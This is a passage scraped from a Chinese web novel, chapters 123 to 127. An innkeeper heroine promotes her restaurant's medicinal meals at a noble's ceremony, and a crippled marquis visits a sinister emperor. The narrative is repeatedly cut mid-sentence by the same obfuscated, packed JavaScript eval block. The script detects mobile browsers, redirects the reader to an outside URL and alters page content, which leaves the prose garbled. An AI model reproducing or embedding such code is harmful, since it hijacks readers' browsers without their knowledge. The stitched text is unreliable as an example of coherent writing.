“宋小姐,今日过后你就及竿了,就要找夫婿了,还是这么没心眼儿,可是不行的哦。” “哈哈哈哈哈。” 宋玉竹脸气的通红。 夏清棠反互助宋玉竹,面容清冷,声音冷沉,“宋小姐有那样疼她爱她的爹爹,日后肯定也会寻得良婿,就是嫁进夫家,自然也不需要像各位那样,整日提心吊胆,勾心斗角”。 “那样活着,实在是太累了吧。” 第一百二十三章心累。 “你!” 眼看那位大小姐就要发做,夏清棠轻摇着头抬手抵住对面扬起的手,专注的眸光落在对方脸上,脸上神情也由松懈转为严肃。 衔接的非常流畅。 “你!你这是何意味!简直是胆大妄为。” 夏清棠:“这位小姐,我观你面容,觉得你是应该去在下的四海楼定制些药膳。” “本小姐面容的好得很,你少在这儿招摇撞骗。” 夏清棠轻笑,松开捏着这位千金修长手指的手,“是在下唐突了,若是小姐有需要,四海楼的大门永远为你们敞开”。 她又转身看向宋玉竹,“宋小姐,你去我们四海楼,所有消费,全部免单。” 宋玉竹愣住,她现在也觉得这个林掌柜是在她这里为自己的酒楼积攒名气。 夏清棠长睫轻颤,眸中暗光一闪而过,面对宋玉竹脸上的呆愣和恍然大悟,她视若罔闻,没再理睬。 反而将目光移到一旁看热闹不嫌事儿大的朔砚辞身上。 朔砚辞:“本皇子脸上有花吗?” 夏清棠:“没有,但是有病气。” 朔砚辞拧眉,声音饱含着怒气,“你咒我呢?”。 夏清棠:“你是不是肾……” “喂!你娘没教过你出门在外谨言慎行吗?” 朔砚辞脸色黑的发紫,眉头皱的像是有几道雷霆大闪电。 他喊住了夏清棠,制止了她接下来要说的话。 夏清棠长睫遮住的眼眸里尽是恶意。 夏清棠:“三皇子,若是有需要,可以来我们四海楼消费哦,绝对给您一个满意的价格。” 朔砚辞咬紧后槽牙,这个贱女人!居然敢当众揭他的短! 简直是不知死活,简直是太不知好歹了! 今日是宋太尉千金宋玉竹的及竿礼,没人敢在这里太放肆,夏清棠没再搭理朔砚辞,毕竟效果已经到了。 她转身重新落坐,看着不远处宋玉竹与几位贵女交谈。 这不聊的也挺开心的嘛?来找她干嘛,还表现的和她如此亲昵,她现在是林夏,可不是夏清棠。 打拼事业,救出老妈还有不认识老弟,让小龙人赶紧恢复实力,才是她现在应该做的。 小龙人激动的跳跃在夏清棠的肩膀上,龙指指着桌上的一盘菜,“小棠棠!小棠棠,那个那个,我要那个!”。 夏清棠:“啥?你啥时候喜欢吃绿叶儿菜了?你不是说这玩意儿会脏了你高贵的龙口吗?” “怎么,就看上这儿的绿叶儿菜了?” 小龙人:“不是!那盘菜下面的那个盘子啊!那可是好东西,我要能吃了那个盘子,我的实力绝对还会大增!”。 夏清棠饶有趣味的看向桌上花纹繁复精致的银盘,温软的双唇吐出冰冷的话,“不行,不能吃”。 小龙人:“为什么?”。 夏清棠:“这不是咱们的,这是别人家的,你要是贸然吃了,别人就会给你安一个偷东西的恶心罪名,到时候,你就会被很多人都讨厌。” 小龙人似懂非懂,“可是他们看不到啊就算我吃了他们也不知道呀”。 夏清棠一个巴掌就拍在小龙人的龙脑上,“你这种下三滥的行为叫栽赃陷害!你知道你陷害的是谁吗?是我!你的老板!”。 小龙人嘿嘿一笑,“那…老板你能不能把这个银盘买下来啊”。 夏清棠:“你觉得呢。” “这个银盘就有多香,能让你流的口水呲溜滑啦,也是厉害了。” 小龙人:“我不知道,我就是看到它就很想吃掉它,仿佛它好像天生就是我肚子里的东西一样。” 夏清棠皱眉疑惑,“天生就是你肚子里?不会是什么灵魂碎片吧,好多话本子里就喜欢搞点这种情节”。 小龙人摇了摇手指一脸的高深莫测,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271309|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不不不,小棠棠,你太肤浅了,在我这只神武龙战士身上发生的故事情节,绝对不可能那么庸俗”。 夏清棠面无表情:“哦,那既然如此,高雅的龙战士你就自己去买下它吧”。 小龙人悲愤,小龙人哭泣:“不!小棠棠,我们可是这个世界上最亲的人啊!你不能这样对我”。 夏清棠:“哦。” 轮椅压过地面的轻微声响让夏清棠转回注意力,断绝脑中与小龙人的无脑聊天。 “林掌柜,听闻你酒楼中的定制药膳,对人的身体有奇效。” 晏无咎双手轻放在双腿上,桀骜不驯的俊脸上好似带着消散不去的愁绪。 夏清棠微微颔首,“镇北候说的不错,我们酒楼的药膳都是私人订制,一个人一个样儿,或多或少,都会对身体有些作用。” 晏无咎:“或多或少?” 夏清棠:“对这就是因人而异了,有些人作息不规律,身体不好,就算是定制药膳,也不能定制药性强的,这样功效自然就小了些。” “可若是一个人身体强健,再搭配些合理的药膳食用,那身体自会更上一层楼。” 晏无咎声音冷沉,叫人听不出一丝情绪,“林掌柜,好似与那些油嘴滑舌的商人很不一样呢”。 夏清棠:“镇北候言重了,油嘴滑舌,坑蒙拐骗这种经商之道,用的多了,也试试徒增笑话。” “所以呐,我们四海楼从来不干这种事儿。” 晏无咎嘴角噙着坏笑,“我倒是看不出来林掌柜这个正义有良心。” 夏清棠:【你不知道的多了去了,大笨蛋晏无咎。】 晏无咎:“刚才听说,宋小姐去你酒楼消费全免,那我呢。” 夏清棠:“……” 【什么那你呢,人家宋小姐可是帮了我忙的,你帮啥了,再说了,我的银子难道是大风刮来的吗,晏无咎还真的得寸进尺。】 第一百二十四章奋斗。 晏无咎嘴角轻勾,“怎么,林掌柜这是舍不得了?”。 夏清棠:“没有没有,镇北候如此善良的人,若是想来我这四海楼消费,我自然会会给你优惠的。” “而且……” 夏清棠突然意味深长的看着晏无咎,那小眼神来回在晏无咎的身上徘徊。 晏无咎被看爽了,虽耳根通红,但嘴角差点就要翘上了天。 【晏无咎在傻笑什么,这孩子是不是脑子有问题了,我可是在用明晃晃的眼神告诉他,他身体有问题。】 晏无咎却对此毫不在意,他的双腿都废了,身体再有毛病还能有啥,十有**都是这个女人在吓唬人。 晏无咎强压下嘴角,疑惑的目光看向夏清棠,“林掌柜,为何这样看着我?”。 夏清棠轻摇头,非常可惜的叹了口气,“算了,我还是不说了”。 晏无咎:“林掌柜但说无妨”。 他说着,硬朗的俊脸上又凝满失落,“林掌柜,无妨,你也知道,我现如今都是废人一个了,你嘴里的消息再不好,我也能坦然接受了”。 “或许,我命中注定就是一个苦命的人。” “林掌柜,你说吧。” 夏清棠轻蹙眉头,想了想,还是换了一番说辞,“镇北候,若是真心想知道,不如明日来我这四海楼,我派人好好给你讲说一番”。 “今日这场合,有些不妥当。” 晏无咎轻笑,“行,都听林掌柜你的”。 夏清棠心中嘀咕,【晏无咎说话怎么奇奇怪怪的,指定是有点毛病】。 晏无咎:笨女人。 “嘿嘿嘿。” 夏清棠一抬头,冷不丁就对上晏无咎幽幽的目光,她明媚的脸上立即扬起明显的假笑。 晏无咎:“你傻笑什么?” 夏清棠:不嘻嘻。 “没笑什么,只是单纯有礼貌而已。” 夏清棠不再搭理晏无咎,而是低头吃菜,她今日要做的事情已经差不多了,可以专心吃饭了,晏无咎垂眸看了夏清棠好一会儿。 看的周遭人都感觉到了气氛的不对劲儿。 晏无咎倏然回神,双手慌乱的划着轮椅离开,回到自己的座位上。 不对劲儿的气氛立刻消失的干干净净。 宋玉竹终于摆脱了围着她的一众千金贵女,真是的,这些人嘴上说着看不起林夏,还在那儿嘲讽林夏,刚才却在那儿明里暗里的向她打探关于四海楼什么定制药膳的消息。 脸皮真厚! “林掌柜!” 宋玉竹又朝着夏清棠走过去,林掌柜就不一样了,虽然她刚才细想了一下,林掌柜的行为确实有些宣扬自己酒楼的意味,但是,林掌柜作为一个商人,这样无伤大雅的口头宣传一下,也是很正常的。 而且,林掌柜的药膳确实很有用啊,爹爹前几天都夸四海楼的药膳来。 “林掌柜,你要不要留下来住几天呀。” 夏清棠夹菜的动作顿住,又放下筷子,抬起头看着眼前的宋玉竹,“宋小姐,在下只是一介商人,这于礼不合”。 宋玉竹失落的应了一声,没再强求,是她冒犯了。 “好吧,林掌柜,改天我一定带着人上你的四海楼吃饭,到时候你一定要来和我一起喝酒。” 夏清棠微微颔首,“宋小姐,这是当然的”。 宋玉竹张嘴还想说些什么,却听到自己爹的叫声。 哦,差点忘了,还有仪式没搞。 夏清棠微微勾唇,“宋小姐,你快过去吧,宋大人在找你呢”。 宋玉竹:“嗯嗯。” 宋玉竹又走了,夏清棠周遭又变得冷清,并且打量和嘲讽的视线,还变的更多。 夏清棠根本不在意,一边吃菜一边和小龙人在脑子里聊着天。 …… 下午回到四海楼,果不其然听到了好消息。 她们四海楼的定制药膳又多了几份,虽然不多,可也是进步。 李三山:“林掌柜,嘿嘿嘿,你回来啦,太尉府吃的怎么样?” 夏清棠打趣儿的看了李三山一眼,“可该带上你去来,你也算是个小小的美食专家了”。 李三山不好意思的挠了挠头,“林掌柜,那个王公子好久没来过了”。 夏清棠毫不在意地说,“不来就不来吧,不是什么重要的人物”。 李三山:“可是……可是他卖得那几个菜方,这两天生意都很好”。 夏清棠:“很好?有没有咱们酒楼的菜卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278496|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好。” 李三山:“那倒是没有。” 怎么可能有他们酒楼的菜卖得好,他们酒楼的菜可都是掌柜走南闯北学会带回来并且经过精心改良的。 根本就没有可比性! 夏清棠点头,挑了挑眉,“那不就对了”。 李三山满眼崇拜,“林掌柜,您说的对!”。 “行了,我先上去了,若是太尉府宋小姐来酒楼,记得告诉我一声。” “好嘞,林掌柜。” 夏清棠上了楼,本是想去找江汐汐再说一会儿话,却看到一个好久不见的人。 “去他的!” 未见其人,先闻其声。 是辜战。 “夏清棠!” 辜战正在和江汐汐神情激动的讲着些什么,余光一瞥到熟悉的人影,立刻的激动的大叫起来。 啪! 江汐汐结结实实的一掌拍在辜战的脑袋上。 辜战吃痛,“汐姐,你打**嘛?”。 江汐汐一记冷眼扫过去,声音也是冷的吓人,“该叫什么?”。 辜战:“啊?” 夏清棠轻咳一声,朝辜战挤眉弄眼,辜战傻不愣登的,还没反应过来。 夏清棠:“你好好想想,我是谁?” 辜战瞪着眼看了夏清棠好一会儿,才恍然大悟,“嗷嗷嗷,我想起来了,你是林夏!”。 夏清棠满意的点了点头,“孺子可教也”。 江汐汐冰冷脸色也消失,跟着夏清棠满意的点了点头,“孺子可教也”。 辜战:“……” 夏清棠:“你怎么这么早就来京城了,不是说还要一段时间吗?” 一说到这,辜战的鼻子和嘴巴简直就要翘到天上,“哼哼哼,那当然是因为我辜战做生意技巧极其强,领队能力也极其强,所以,那些事儿就提前办完了啊”。 夏清棠配合的鼓掌,“哇哇哇,辜战你好厉害啊”。 江汐汐:“你就这么厉害呢?” 辜战不可置信的瞪大双眸,“不是,汐姐我们可是从小一起长大的,我什么实力你不知道吗,我就是偶尔混账了点,懒惰了点,其它方面都很牛的好不好!”。 江汐汐:“嗷。” 第一百二十五章久仰大名。 三人聊了好一会儿天,看天色不早了,才各回各房躺下歇息。 …… 晨光熹微,又是一个美好的早晨。 四海楼又开始一天的忙碌。 快到中午的时间,四海楼来了贵客。 李三山强掩住激动的心情,连忙嘱咐好另外的小厮一定要好好招待这位大小姐,嘱咐完,他迈着飞轮腿火速往楼上跑。 “跑这么急?” 李三山猛地刹住车,脸上还有点虚汗,“林掌柜!” 夏清棠:“嗯。” 李三山:“林掌柜,宋小姐来了,宋太尉府上的宋小姐。” 夏清棠挑眉,“行,那我就下去待待客,你去忙吧”。 李三山应了一声就离开了。 夏清棠迈步往楼下走,果然看到一个小厮领着宋玉竹正往楼上走。 宋玉竹抬起头,刚好对上夏清棠看过来的目光,两两对视,眸中皆是喜色。 “宋小姐。” “林掌柜!” 夏清棠快步走到宋玉竹身旁,像朋友一样的打趣儿宋玉竹,“宋小姐,您可真比君子还君子,昨日说会来,今日就立刻来了”。 宋玉竹:“林掌柜,我今日是来你这儿吃饭的。” “你可是这酒楼的掌柜,千万要把最好的酒和最美味的菜都拿出来招待我。” 夏清棠爽朗一笑,“宋小姐,你放心,这是肯定的”。 宋玉竹略微有些不满,她温柔的开口,“林掌柜,你叫我宋玉竹就好,天天叫我宋小姐,我有点不自在”。 夏清棠:“好啊,那宋玉竹你也叫我林夏就好。” 两人想谈甚欢,夏清棠领着宋玉竹王楼上雅间走去。 …… “侯爷,宫里来人了。” 晏无咎握着毛笔的手顿住,随即收了尾,“皇帝叫我进宫”。 似是毫不意外。 林木:“是,侯爷,皇上特意派人送来了帖子。” 晏无咎眉眼淡漠,叫人看不出个什么所以然来。 “不好好钻研他的治国之术,整日盯着我,不知道是不是脑子被蠢驴踢了。” 林木愣住,林木憋笑,然后差点没忍住。 晏无咎:“你去回,就说本侯爷今日高烧不退,性命堪忧。” 林木:“是,侯爷。” 林木迈步往门外走。 “站住。” “回来。” 林木往回走,“侯爷有何吩咐”。 晏无咎:“算了,去备马车。” “进宫。” 林木:“是,侯爷。” 侯爷这是怎么啦,怎么变得这么犹豫不决,这还是他第一次见侯爷在除了夏姑娘之外的其它人身上,有这种表情。 看着很忧愁。 马车一路平稳的驶向皇宫。 让人意外的是,这次进宫竟然没见人早早的就守在宫口,要带着晏无咎去御书房。 很罕见,这次没有人来,甚至连守卫侍卫,巡逻的禁军,看到晏无咎都是当做没看到。 林木跟在晏无咎身侧,小声的说,“侯爷,皇宫里……是不是闹鬼了”。 “侯爷,他们怎么跟眼睛瞎了一样。” 晏无咎:“大抵是病了。” “也可能是疯了。” 两人一路畅通无阻。 直到…… 直到遇到一只猫。 一只大肥猫,又肥又黄的大肥猫。 “喵!喵喵喵!” “侯爷,它叫的好难听,不过是今天第一个搭理我们的生物。” 晏无咎:“嗯。” 他并未想在这只胖猫面前多停留,只是淡淡回应了下林木,然后一味的往前走。 林木依依不舍的看了眼可爱大肥猫,也跟着晏无咎往前走。 “喵!喵——!” 只见黄色大肥猫锲而不舍的跟在两人身后,甚至走几步还躺到地上打一个滚。 林木目瞪口呆,眼里开始冒小星星。 “侯…侯爷,那只猫在撒娇。” 晏无咎停下脚步,垂眸看向地上锲而不舍打滚的橘猫。 “你主人知道你对路人这么谄媚吗?” “喵!喵喵喵喵喵~” 主人是什么东西。 晏无咎微眯双眼,蹲下身子,眸光锁定在这只橘猫的如宝石般的眼珠子上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278497|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晏无咎伸出大掌,轻轻落到橘猫圆润润毛茸茸的猫脑上。 真软。 “喵~” 林木咽了咽口水,这画面看的他眼红。 他也学着自家侯爷的样子蹲下来,然后温柔的伸出自己的大手。 但,手刚伸出去一点。 “喵!!!” 尖锐的猫叫声吓得林木浑身一激灵,唰地收回自己爪子。 林木难过,这猫难道也是狗眼看人低的东西吗?为什么只让侯爷摸。 晏无咎又摸了几下橘猫的脑袋。 橘猫喉间的呼噜声比驴叫声还响。 晏无咎眼尾带上笑意,“你这只蠢猫倒是会享受”。 “走了。” 不知道是在说给林木听还是肥猫听。 “喵呜!” 橘猫咬上晏无咎的裤腿,嘴里还呜呜的叫着。 晏无咎轻叹气,“我没吃的喂你”。 “喵嗷~” 晏无咎情不自禁的捻了捻手指,索性弯腰将大肥猫抱起来,然后……放在地上。 “你走吧,找你主子去,蠢猫。” “喵呜!” “大黄!” 是一道清冽的少年音。 晏无咎挺住脚步,看到一个大概是十四十五岁的少年郎朝他这个方向快步走来。 不,应该说是朝着他脚边这只肥猫快步走来。 少年在距离晏无咎还有几步远的时候,就停住了脚步,少年神情淡淡。 “大黄,过来。” “喵~” 叫大黄的猫只是应了声,紧接着又撒娇似的在晏无咎裤腿边来回蹭。 少年眉眼间阴郁下来,语气中冷意也更加足。 “大黄,过来。” “喵呜~” 大黄喵喵叫了两声,迈着优雅的猫步朝那清冷少年走去。 却在走到二人中间时,坐下开始舔**。 晏无咎挑挑眉,这肥猫还真是有意思,它主人的脸都快变黑了。 晏无咎作揖,“臣见过六皇子”。 丝毫不见敬意。 朔清禾眉眼间阴郁不散,“久仰大名,镇北候”。 第一百二十六章不敢杀。 晏无咎:“六皇子养的猫倒是亲人。” 朔清禾声音淡淡,“它今日怕是馋了,才会一直缠着陌生人”。 晏无咎扯了扯嘴角,“哦?是吗?那六皇子可要看好自家猫了,别哪天被不怀好意之人拐跑了”。 朔清禾神色淡漠,好似一点都不在意眼前人的言语,只是垂眸专注的看着在自己裤腿边上蹭着的大猫。 他俯身将大猫抱在怀里,眉眼间的阴郁散了些,“那就多谢镇北候提醒了”。 说完,他便抱着猫转身离开,而怀里的猫却还在冲着晏无咎的方向喵喵叫。 朔清禾眉头轻皱,抚摸着猫背的手稍稍加了点力度。 “小没良心的,若不是我找到你,你是不是就跟着那个男的跑了。” “咪嗷~” 不会。 朔清禾轻轻拍了拍大黄的脑袋。 “这次就先原谅你了。” 他清冷的眉眼间带上淡淡的思绪,镇北候,晏无咎,是有什么本事,居然能引的大黄主动去他身边。 还真是……奇怪呢。 …… 晏无咎看着朔清禾远去的背影,心头间那股不对劲儿的感觉越来越来盛。 这位深居简出的六皇子,确实是和传闻中的一样,与皇帝长的没有半分相似。 但他看着却有几分眼熟,尤其是眉眼间,看着很像…… 晏无咎收回思绪,轮椅停下,抬眸看向面前的御书房。 林木在一旁小声说道,“侯爷,今日御书房门口居然没有人”。 以往皇帝下令让侯爷来御书房的时候,御书房门口总是守满了侍卫,最少也得有几个太监。 今日居然空无一人。 林木都有点怀疑是不是谁恶作剧,冒充宫里的人给侯爷使绊子。 “哎呀,镇北候您来了。” 一道尖细的嗓音突然窜出,从不知名小角落里走出来一个太监装扮的人。 晏无咎声音冷沉:“御书房为何没有侍卫”。 魏公公一脸为难,尖细的嗓音更是多了扭扭捏捏。 “镇北候,这咱家也不知道呀,咱家都是只听吩咐的。” 魏公公:“镇北候,咱们这边请?” 晏无咎:“嗯。” 林木立马上前推着晏无咎的轮椅,跟着魏公公进了御书房。 铺面而来的是阴冷的气息。 晏无咎神色不变,眸光暗暗打量着御书房。 变了,格局变了,也放了些许看着正常实则处处都透露着不对劲儿的东西。 轮椅停住。 魏公公赔笑,“镇北候,还得请你先在这等上一等,皇上正在处理公务”。 晏无咎:“嗯。” 什么公务不在御书房处理,还特意跑到别处。 还真是奇怪呢。 魏公公来来**,只是为了给晏无咎倒茶水。 晏无咎冷不丁开口,“魏公公,御书房连个称心的宫女都没有吗?”。 魏公公手一抖,转过身继续赔笑,“咱家也不知道,咱家只是听吩咐的”。 “都是咱家的不是,咱家人老珠黄的,给侯爷倒的茶是没有小姑娘们倒的香。” 晏无咎嫌恶的皱皱眉,手下还把魏公公刚端过来的茶往外推了推。 林木憋笑。 “哈哈哈!” 经典的老钱声出场。 “哈哈哈!镇北候果真是在嫌弃朕的魏公公吗。” 三道视线同时看向高台上,是景明帝。 相较于上次见他,这次他又变了,浑身气息更加恐怖,浑浊老态的双眼下一片乌黑,整张脸看着发虚,但是狠厉十足,偏偏那嘴唇,看着又是气血十足。 整个人看着极其不协调,极其奇怪。 晏无咎作势要给景明帝行礼。 景明帝立刻开口制止,“哎,朕说过多少次了,镇北候你不必行礼”。 晏无咎微微颔首,没再继续,“臣谨记”。 景明帝双眸幽幽的盯着晏无咎,几秒后,他拍了拍手掌,立刻便有几个身姿窈窕的宫女进入,手中端着各色各样的茶杯。 数种茶香味飘进鼻孔,晏无咎眸中闪过警惕,狗皇帝又搞什么幺蛾子。 景明帝老钱笑了两声,为晏无咎解了惑。 “镇北候,刚才朕多有招待不周,竟然让一个阉人来给你倒茶,现在啊,朕可是派来了这宫里最年轻最貌美的宫女。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284723|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“今日,一定要叫镇北候大饱口福。” “哈哈哈!” 晏无咎微微做揖,“臣不敢”。 景明帝脸上还挂着笑,但声音却冷下来。 “你不敢?镇北候有何不敢,不过是品几口茶罢了。” “朕今日叫你来,就是叫你入宫来陪朕品品茶,聊聊人生感悟。” 晏无咎:“臣恭敬不如从命。” 景明帝满意了,“来来来,镇北候,走近点”。 “你身旁那个侍卫看着怪死板的,改日,朕送你个更好的,如何啊。” 晏无咎轻笑,“谢皇上美意,但臣是个念旧的”。 林木也没想到这个像鬼一样的皇帝会把目光放在自己身上,一时间,不知道该说什么好。 景明帝:“是吗?” “镇北候,朕听说你昨日去参加了宋太尉千金的及竿礼,可是有什么想法啊?” 晏无咎:“并无任何想法。” 景明帝语重心长,看着很像一位一心一意为小辈着想的长辈,“镇北候呐,你岁数也不小了,身体又不方便,这个时候,身边最是缺少一个可心的人儿啊”。 晏无咎:“臣只是去闹闹热闹,并无其它想法。” 景明帝:“要不这样吧,朕给你和宋千金赐个婚。” 晏无咎眼底泛起冷光,眉头不耐的轻皱,“还望皇上收回成命”。 景明帝死死的蹙起眉头,“怎么,镇北候是觉得太尉千金配不上你吗?”。 说着,他带着微妙恶意的目光在晏无咎的双腿上停留,恶味儿就要溢出来了。 晏无咎唇角勾着极其淡的笑,眸底没有丝毫温度,“皇上,还是多管管自己吧”。 景明帝愣住,他没想到晏无咎这个泥腿子蠢货居然会说出这么忤逆他的话。 “大胆!晏无咎你好大的胆子!” 砰! 沉重的玉玺被狠狠砸在桌面上,坚硬平滑的桌面瞬间留下浅淡的凹陷。 晏无咎抬眼看向朔景明,那双黑眸冷的像淬了极冰。 朔景明心头震撼,脊背一阵阵的发寒。 晏无咎却忽然咧嘴一笑,“皇上,让我猜猜……你是不是不敢杀了我”。 第一百二十七章依旧想喝粥。 朔景明瞪大双眼,眸底满是惊愕和惊恐。 他不可置信的伸出手指着晏无咎,“你、你简直是大逆不道!”。 “朕是一国之主,何故要害怕你一个双腿残废的废人!” “简直是可笑!” 晏无咎:“皇上误会了。” “臣的意思是皇上仁心宽厚,念着旧情,不会杀我。” 朔景明双眼微眯,审视的目光盯着晏无咎的面孔,“许久不见,镇北候倒是多了点人味儿”。 “竟然还会同朕开说笑话了。” 晏无咎轻点头,“承蒙皇上厚爱,臣与皇上之间感情也更加深厚了呢”。 “哈哈哈!” 两人之间氛围又重新变得融洽,只是那浅薄的表面之下,暗流汹涌。 …… 晏无咎安然离开皇宫。 周身气息冷厉,寒眸中波涛汹涌。 还是那种感觉,并且那种感觉越来越强烈,阴暗的御书房内,好似有数道视线在盯着自己。 是暗卫吗?不可能,还没有暗卫能有那样的本事。 到底是什么鬼东西,那狗皇帝不会是暗地里去哪找了个跳大神的,把邪神给跳过来了吧。 晏无咎思绪飘远,且大有一发不可收拾的态势。 他又想到自己,自己废人一个,到底对那个狗皇帝还有什么利用价值,今日他都那样说了,狗皇帝竟然还只是小发雷霆了一下。 林木:“侯爷,皇上他……” 晏无咎:“想说就说。” 林木咽了咽口水,声音有点发颤,“侯爷,皇上他是不是被鬼上身了”。 晏无咎挑眉,“你看出来了?”。 林木惊恐的瞪大双眼,嗓音颤抖的更加厉害,“侯侯侯…侯爷,不不不会是真的吧”。 晏无咎一脸漫不经心,“不知道,不过看他那人不人,鬼不鬼的样子,最起码也得是中邪了”。 林木:“我靠!侯爷,那他要是被鬼附身的话,鬼会不会想办法要附了你的身。” 不然,为什么皇帝要一反常态的对侯爷好。 晏无咎怔住,他提醒林木,“这话,以后别说”。 林木明白,“是,侯爷!”。 晏无咎长睫低垂,眸底暗光闪烁,从来不信鬼神之说的他,在遇到夏清棠之后,认知屡屡被冲破。 现如今,朔景明身上发生异样,常理若是说不清,好像也只能用鬼神之说来解释了。 晏无咎:“行,你先下去吧,去萧策那边看看他怎么样了。” 林木:“是,侯爷。” 林木刚走,一脸吊儿郎当的安瑾便迈着狂妄不羁的步子来了。 “老晏!” 药苦味儿搭配着嘹亮的喊声直冲面门。 晏无咎额角抽了抽,“你何时能稳重点,不然可是娶不上媳妇儿的”。 安瑾潇洒的掀了掀刘海儿,语气臭屁又欠揍,“你不懂,现在的小姑娘们就喜欢我这样,英俊潇洒,风流幽默,还富有才华的男人”。 晏无咎:“行了,少在那儿臭屁,快说来找**嘛。” 安瑾一屁股坐在晏无咎旁边,右手自然的揽上晏无咎的肩膀,“老晏,我这儿有一个好消息,一个坏消息,你想先听哪一个啊?”。 晏无咎毫不留情的一把推开安瑾的手,声音听不出来波澜,“有话快讲,没话就滚”。 安瑾撇撇嘴,“老晏,你可真是不上道”。 “行了行了,好消息就是,萧策恢复记忆了。” 晏无咎:“嗯。” 安瑾嘴角苦涩的扯了扯,“坏消息就是,萧策只恢复了部分记忆”。 晏无咎沉默了。 “我知道了。” 安瑾:“对了,皇帝又叫你进宫干嘛,又给你发银子了?” 晏无咎轻摇头,“没有”。 “他大概是我把我当成了一头猪,要养肥了再杀。” 安瑾惊愕的张大嘴巴,“我——靠——!”。 “不是吧不是吧,景明帝居然**肉吗?!” 晏无咎点头:“可以这样说。” 安瑾脸色顿时变得惨白,“靠!老晏,那你可得小心点,我看的不少野史里面,都有君主为了长命百岁,找些歪门邪道的法子去做,其中就有**这一项”。 晏无咎:“你也小心点,被药材腌入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284724|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味了,保不齐哪天也被盯上了。” 安瑾一脸严肃,“行行行,老晏,你放心,我现在就去制造那种吃了就能让别人再也没有想吃欲望的药”。 晏无咎:“我看好你。” 安瑾郑重点头,“好!老晏,我始终与你同在!”。 安瑾风风火火的来,又风风火火的去,来如影去如风,空荡的房间内又徒留晏无咎一人的身影,微风吹散他的声音。 “想喝红枣桂圆糯米粥了。 …… “哇塞,林掌柜,你做的粥也太好喝了吧。” 夏清棠温柔的注视着宋玉竹,“好喝就多喝点”。 宋玉竹将粥喝的干干净净,喝完,抬起头不好意思的看了看夏清棠。 “林掌柜,没想到你还会做菜煮粥。” 夏清棠:“当这酒楼的掌柜,没点本事把不住。” 宋玉竹一脸崇拜的看着夏清棠,“林掌柜,你可以跟我讲一讲你这些年走南闯北的故事吗?”。 说完,她白嫩的脸上又浮上失落,“我爹都不让我出远门,他一直说大家闺秀不能像个流氓一样一直在外面晃荡”。 “但是我好羡慕能遨游江湖的人啊,不像我,最多也就只能看到这京城的景象了。” 夏清棠安抚性的抚了抚宋玉竹的脑袋,嗓音里带着笑意,“好啊,我来给你讲讲”。 “你看看讲的好不好,若是讲的好,说不定我还有当说书先生的本事,哈哈哈。” 宋玉竹也跟着笑。 夏清棠被勾起回忆,越讲越兴起,越讲越兴奋,越讲越热泪盈眶。 宋玉竹也听得入迷。 两人连敲门声都没听到。 这间屋子由内向外的隔音做的极好,李三山扒了半天门啥也没听到,他暗自嘀咕,难道是睡着了,还是喝醉了,还是两人出去了。 他琢磨了一会儿,还是下了楼。 看到那道坐着轮椅却依旧高大的身影,李三山心底有点发怵。 晏无咎看过来,惯常冷厉的目光里夹杂了些期待。 李三山硬着头皮走过去,神态却很自然,“侯爷,我们掌柜现在好像不在楼内”。